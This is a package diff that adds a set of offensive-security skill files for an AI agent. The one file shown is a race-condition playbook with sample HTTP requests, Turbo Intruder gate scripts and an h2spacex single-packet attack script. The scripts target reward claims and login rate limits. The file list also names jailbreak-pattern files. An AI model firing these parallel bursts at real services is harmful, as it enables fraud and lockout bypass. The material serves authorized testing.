ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,526 @@
1
+ ---
2
+ name: race-condition
3
+ description: >-
4
+ Race condition and TOCTOU testing for web apps. Use when testing one-time operations, concurrent HTTP abuse, rate-limit bypass, Turbo Intruder gates, HTTP/2 single-packet attacks, and CWE-362-style synchronization gaps.gated: true
5
+ ---
6
+
7
+ # SKILL: Race Conditions — Testing & Exploitation Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Treat race conditions as **authorization/state integrity** issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize **one-time** or **balance-like** operations. Combine **parallel transport** (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with **application evidence** (duplicate success responses, inconsistent balances, duplicate ledger rows). **Authorized testing only.** Routing note: for business workflows, coupons, inventory, or one-time rewards, start with this skill and cross-load `business-logic-vulnerabilities`.
10
+
11
+ ---
12
+
13
+ ## 0. QUICK START — What to Test First
14
+
15
+ Target endpoints where **check** and **update** are unlikely to be a single atomic database operation:
16
+
17
+ | Priority | Operation class | Example paths / parameters |
18
+ |----------|------------------|----------------------------|
19
+ | 1 | One-time redeem / coupon / bonus | `redeem`, `apply_coupon`, `claim_reward`, `voucher` |
20
+ | 2 | Balance / quota / stock deduction | `transfer`, `purchase`, `reserve`, `inventory` |
21
+ | 3 | Invite / referral / signup bonus | `invite_accept`, `referral_claim` |
22
+ | 4 | Password / email / MFA verification | `verify_token`, `confirm_email`, `reset_password` |
23
+ | 5 | Idempotent-looking APIs without strong keys | `POST` that should succeed only once per user |
24
+
25
+ **First moves (conceptual)**:
26
+
27
+ 1. Capture the **state-changing** request in a proxy.
28
+ 2. Send **20–100** copies **as simultaneously as your tooling allows**.
29
+ 3. Classify outcome: **0/1 expected successes** vs **N successes** or **inconsistent final state**.
30
+
31
+ ---
32
+
33
+ ## 1. CORE CONCEPT
34
+
35
+ ### 1.1 TOCTOU (Time-of-check to time-of-use)
36
+
37
+ ```
38
+ Thread A Thread B
39
+ | |
40
+ +-- CHECK (resource OK) |
41
+ | +-- CHECK (resource OK) ← both see "OK"
42
+ +-- USE / UPDATE |
43
+ | +-- USE / UPDATE ← duplicate effect
44
+ ```
45
+
46
+ **TOCTOU** means the **decision** (check) and the **mutation** (use) are not one indivisible step.
47
+
48
+ ### 1.2 Non-atomic read-then-write
49
+
50
+ Typical vulnerable pseudo-flow:
51
+
52
+ ```text
53
+ balance = SELECT balance FROM accounts WHERE id = ?
54
+ if balance >= amount:
55
+ UPDATE accounts SET balance = balance - ? WHERE id = ?
56
+ ```
57
+
58
+ Two concurrent requests can both pass the `if` before either `UPDATE` commits.
59
+
60
+ ### 1.3 Database-level vs application-level locking gaps
61
+
62
+ | Layer | What goes wrong |
63
+ |-------|------------------|
64
+ | **Application** | In-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse. |
65
+ | **ORM / service** | Two instances, no distributed lock; each thinks it owns the decision. |
66
+ | **DB** | Missing `SELECT … FOR UPDATE`, wrong isolation level, or logic split across multiple statements without transaction. |
67
+ | **API gateway** | Per-IP rate limit is **check-then-increment** — parallel burst passes duplicate checks. |
68
+
69
+ **Hint**: `UNIQUE` constraints and **idempotency keys** often eliminate entire bug classes — test whether the app **enforces** them on the hot path.
70
+
71
+ ---
72
+
73
+ ## 2. ATTACK PATTERNS
74
+
75
+ ### 2.1 Limit-overrun (double redeem / double claim)
76
+
77
+ Send the **same** authenticated request many times in parallel:
78
+
79
+ ```http
80
+ POST /api/v1/rewards/claim HTTP/1.1
81
+ Host: target.example
82
+ Authorization: Bearer <token>
83
+ Content-Type: application/json
84
+
85
+ {"reward_id":"welcome_bonus"}
86
+ ```
87
+
88
+ **Success signal**: HTTP `200`/`201` more than once, duplicate ledger entries, or balance higher than policy allows.
89
+
90
+ ### 2.2 Rate-limit bypass via simultaneity
91
+
92
+ If limits are implemented as **counters checked per request** without atomic increment:
93
+
94
+ ```http
95
+ POST /api/v1/login HTTP/1.1
96
+ Host: target.example
97
+ Content-Type: application/json
98
+
99
+ {"email":"victim@example.com","password":"wrong"}
100
+ ```
101
+
102
+ Fire **N** parallel attempts in one wave; compare with **N** sequential attempts.
103
+
104
+ **Success signal**: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.
105
+
106
+ ### 2.3 Multi-step exploitation (beat the pipeline)
107
+
108
+ Workflow: `create → pay → confirm`. If **confirm** does not cryptographically bind to **pay** completion:
109
+
110
+ 1. Start two parallel pipelines from the same session/item.
111
+ 2. Complete **confirm** on channel B while **pay** on channel A is still in-flight or abandoned.
112
+
113
+ **Success signal**: item marked paid/shipped without matching payment, or state skips backward.
114
+
115
+ ---
116
+
117
+ ## 3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION
118
+
119
+ **Idea**: Hold all requests **blocked** until every socket has sent the full request **except the last byte** of the body; then release the final byte together so the server receives them in a tight cluster.
120
+
121
+ ```text
122
+ Client 1: [headers + body - 1 byte] ----hold----+
123
+ Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
124
+ Client N: [headers + body - 1 byte] ----hold----+
125
+ ```
126
+
127
+ **Why**: Reduces **network jitter** between copies compared to naive sequential paste in Repeater.
128
+
129
+ **Tooling**: Custom scripts, some Burp extensions, or **Turbo Intruder** `gate` pattern (see §5) as the practical stand-in for synchronized release.
130
+
131
+ ---
132
+
133
+ ## 4. HTTP/2 SINGLE-PACKET ATTACK
134
+
135
+ **Idea**: Multiplex several complete HTTP/2 streams and **coalesce** their frames so the first bytes of all requests exit the NIC in **one** TCP segment (or minimally separated). Receiver-side scheduling then processes them with **sub-millisecond** spacing.
136
+
137
+ **Burp Repeater (modern workflows)**:
138
+
139
+ 1. Open multiple tabs or select multiple requests.
140
+ 2. Use **Send group (parallel)** / **single-packet attack** where available.
141
+ 3. Prefer HTTP/2 to the target if supported.
142
+
143
+ ```text
144
+ [ Req A stream ]
145
+ [ Req B stream ] --HTTP/2--> one burst --> app worker pool
146
+ [ Req C stream ]
147
+ ```
148
+
149
+ **Why it often beats HTTP/1.1 last-byte tricks**: tighter alignment on the wire; less dependence on per-connection serialization.
150
+
151
+ ---
152
+
153
+ ## 5. TURBO INTRUDER TEMPLATES
154
+
155
+ Repository: [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) (Burp Suite extension).
156
+
157
+ ### 5.1 Template 1 — Same endpoint, gate release
158
+
159
+ **Settings**: `concurrentConnections=30`, `requestsPerConnection=30`, use a **gate** so all threads fire together.
160
+
161
+ **Core pattern** (repeat N times, then release):
162
+
163
+ ```python
164
+ for _ in range(N):
165
+ engine.queue(request, gate='race1')
166
+ engine.openGate('race1')
167
+ ```
168
+
169
+ ```python
170
+ def queueRequests(target, wordlists):
171
+ engine = RequestEngine(endpoint=target.endpoint,
172
+ concurrentConnections=30,
173
+ requestsPerConnection=30,
174
+ pipeline=False,
175
+ engine=Engine.THREADED,
176
+ maxRetriesPerRequest=0
177
+ )
178
+
179
+ for i in range(30):
180
+ engine.queue(target.req, gate='race1')
181
+
182
+ engine.openGate('race1')
183
+
184
+ def handleResponse(req, interesting):
185
+ table.add(req)
186
+ ```
187
+
188
+ **Header requirement** (unique per queued copy for log correlation; Turbo Intruder payload placeholder):
189
+
190
+ ```http
191
+ x-request: %s
192
+ ```
193
+
194
+ Turbo Intruder replaces `%s` per request when paired with a wordlist (or other payload source) — keep this header on the **base request** in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.
195
+
196
+ ### 5.2 Template 2 — Multi-endpoint, same gate
197
+
198
+ **Pattern**: One **POST** to **target-1** (state change) plus **many GETs** to **target-2** (read side) released together to widen the TOCTOU window observation.
199
+
200
+ ```python
201
+ def queueRequests(target, wordlists):
202
+ engine = RequestEngine(endpoint=target.endpoint,
203
+ concurrentConnections=30,
204
+ requestsPerConnection=30,
205
+ pipeline=False,
206
+ engine=Engine.THREADED,
207
+ maxRetriesPerRequest=0
208
+ )
209
+
210
+ engine.queue(post_to_target1, gate='race1')
211
+ for _ in range(30):
212
+ engine.queue(get_target2, gate='race1')
213
+
214
+ engine.openGate('race1')
215
+ ```
216
+
217
+ Adjust hosts/paths by duplicating `RequestEngine` instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).
218
+
219
+ ---
220
+
221
+ ## 6. CVE REFERENCE — CVE-2022-4037
222
+
223
+ **CVE-2022-4037** (GitLab CE/EE): race condition leading to **verified email address forgery** and risk when the product acts as an **OAuth identity provider** — third-party account linkage/impact scenarios. **CWE-362**. Demonstrated in public research with **HTTP/2 single-packet** style timing to win narrow windows.
224
+
225
+ **Takeaway for testers**: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.
226
+
227
+ **References (official / neutral)**:
228
+
229
+ - [NVD — CVE-2022-4037](https://nvd.nist.gov/vuln/detail/CVE-2022-4037)
230
+ - GitLab security advisories and vendor CVE JSON for affected version ranges
231
+
232
+ ---
233
+
234
+ ## 7. TOOLS
235
+
236
+ | Tool | Role |
237
+ |------|------|
238
+ | [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) | High-concurrency replay, **gates**, scripting in Burp. |
239
+ | [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) | Race-focused HTTP client patterns (verify compatibility with your stack). |
240
+ | [nxenon/h2spacex](https://github.com/nxenon/h2spacex) | HTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only). |
241
+ | **Burp Suite — Repeater** | **Send group (parallel)** / **single-packet attack** for multi-request synchronization. |
242
+
243
+ ---
244
+
245
+ ## 8. DECISION TREE
246
+
247
+ ```text
248
+ START: state-changing API?
249
+ |
250
+ NO -----------+---------- YES
251
+ | |
252
+ stop here one-time / balance / verify?
253
+ |
254
+ +-------------------------+-------------------------+
255
+ | | |
256
+ coupon-like rate limit multi-step
257
+ | | |
258
+ parallel same req parallel vs serial parallel pipelines
259
+ | | |
260
+ duplicate success? limit exceeded? state mismatch?
261
+ / \ / \ / \
262
+ YES NO YES NO YES NO
263
+ | | | | | |
264
+ report + try HTTP/2 report + try TI report + deepen
265
+ evidence single-packet evidence gates per-step
266
+ | | | | | |
267
+ +----+----+ +----+----+ +----+----+
268
+ | | |
269
+ tool pick tool pick tool pick
270
+ v v v
271
+ Burp group / h2spacex TI gates / Raceocat TI + trace IDs
272
+ ```
273
+
274
+ **How to confirm (evidence checklist)**:
275
+
276
+ 1. **Reproducible** duplicate success under parallelism, not flaky single retries.
277
+ 2. **Server-side** artifact: two rows, two emails, two grants, or wrong final balance.
278
+ 3. **Correlate** with `x-request` (or similar) markers or unique body fields in logs (authorized environments).
279
+
280
+ **Routing summary**: if the scenario is more about business rules, pricing, or workflow bypass, load `skills/business-logic-vulnerabilities/SKILL.md`; this file focuses on **concurrency and transport-layer synchronization**.
281
+
282
+ ---
283
+
284
+ ## 9. HTTP/2 SINGLE-PACKET ATTACK — DETAILED MECHANICS
285
+
286
+ ### 9.1 TCP Nagle Algorithm & Frame Coalescing
287
+
288
+ TCP's Nagle algorithm (RFC 896) buffers small writes and coalesces them into fewer, larger segments. When an HTTP/2 client writes multiple HEADERS+DATA frames in rapid succession **without flushing between them**, the kernel merges them into a single TCP segment (up to MSS, typically ~1460 bytes on Ethernet).
289
+
290
+ ```text
291
+ Application layer: [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
292
+ ↓ TCP Nagle coalescing ↓
293
+ TCP segment: [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D] ← one packet on the wire
294
+ ```
295
+
296
+ - `TCP_NODELAY` **disabled** (default) → Nagle active → coalescing happens naturally
297
+ - If `TCP_NODELAY` is set, the client must use `writev()` / gather-write syscall to batch frames
298
+ - Practical limit: ~20–30 small requests per 1460-byte MSS; exceeding this splits across packets and degrades synchronization
299
+
300
+ ### 9.2 Server-Side Request Queue Processing
301
+
302
+ ```text
303
+ NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch
304
+
305
+ ┌─ Stream 1 → worker thread A ─┐
306
+ ├─ Stream 3 → worker thread B ─┤ sub-microsecond spacing
307
+ └─ Stream 5 → worker thread C ─┘
308
+ ```
309
+
310
+ 1. Single `recv()` syscall returns the entire segment
311
+ 2. HTTP/2 frame parser demultiplexes streams from same segment
312
+ 3. Dispatcher fans out to application worker pool
313
+
314
+ First-to-last request dispatch gap: **< 100 μs** on modern servers — orders of magnitude tighter than HTTP/1.1 last-byte sync (~1–5 ms network jitter).
315
+
316
+ ### 9.3 HTTP/2 vs HTTP/1.1 Last-Byte Comparison
317
+
318
+ | Factor | HTTP/2 Single-Packet | HTTP/1.1 Last-Byte |
319
+ |--------|---------------------|-------------------|
320
+ | Connections needed | 1 | N (one per request) |
321
+ | Wire synchronization | Same TCP segment | N segments released "simultaneously" |
322
+ | Network jitter impact | Zero (same packet) | Each connection has independent RTT |
323
+ | Server dispatch gap | < 100 μs | 1–5 ms typical |
324
+ | Practical limit | ~20–30 requests per MTU | Limited by connection setup |
325
+
326
+ ### 9.4 Practical Execution with h2spacex
327
+
328
+ ```python
329
+ import h2spacex
330
+
331
+ h2_conn = h2spacex.H2OnTCPSocket(
332
+ hostname='target.example.com',
333
+ port_number=443
334
+ )
335
+
336
+ headers_list = []
337
+ for i in range(20):
338
+ headers_list.append([
339
+ (':method', 'POST'),
340
+ (':path', '/api/v1/rewards/claim'),
341
+ (':authority', 'target.example.com'),
342
+ (':scheme', 'https'),
343
+ ('content-type', 'application/json'),
344
+ ('authorization', 'Bearer TOKEN'),
345
+ ])
346
+
347
+ h2_conn.setup_connection()
348
+ h2_conn.send_ping_frame()
349
+ h2_conn.send_multiple_requests_at_once(
350
+ headers_list,
351
+ body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
352
+ )
353
+ responses = h2_conn.read_multiple_responses()
354
+ ```
355
+
356
+ ---
357
+
358
+ ## 10. DATABASE ISOLATION LEVEL EXPLOITATION MATRIX
359
+
360
+ | Isolation Level | Phenomenon Exploited | Attack Window | Typical Vulnerable Pattern |
361
+ |----------------|---------------------|---------------|---------------------------|
362
+ | **READ UNCOMMITTED** | Dirty reads | Thread B reads Thread A's uncommitted write | `SELECT balance` sees in-flight deduction, proceeds with stale logic |
363
+ | **READ COMMITTED** | Non-repeatable reads (TOCTOU) | Both threads read committed balance, both pass check, both deduct | `SELECT` → app check → `UPDATE` without `FOR UPDATE` |
364
+ | **REPEATABLE READ** | Phantom reads | Snapshot isolation hides concurrent inserts; both threads see "0 claims" and insert | `INSERT IF NOT EXISTS` pattern without UNIQUE constraint |
365
+ | **SERIALIZABLE** | Advisory lock bypass | Application uses `pg_advisory_lock()` / `GET_LOCK()` with wrong scope or derivable key | Lock key from user input; session-vs-transaction scope mismatch |
366
+
367
+ ### READ COMMITTED TOCTOU (most common in production)
368
+
369
+ ```sql
370
+ -- Thread A -- Thread B
371
+ SELECT balance FROM accounts SELECT balance FROM accounts
372
+ WHERE id=1; -- returns 100 WHERE id=1; -- returns 100
373
+ -- app: 100 >= 100 ✓ -- app: 100 >= 100 ✓
374
+ UPDATE accounts SET balance = UPDATE accounts SET balance =
375
+ balance - 100 WHERE id=1; balance - 100 WHERE id=1;
376
+ COMMIT; -- balance = 0 COMMIT; -- balance = -100 ← double-spend
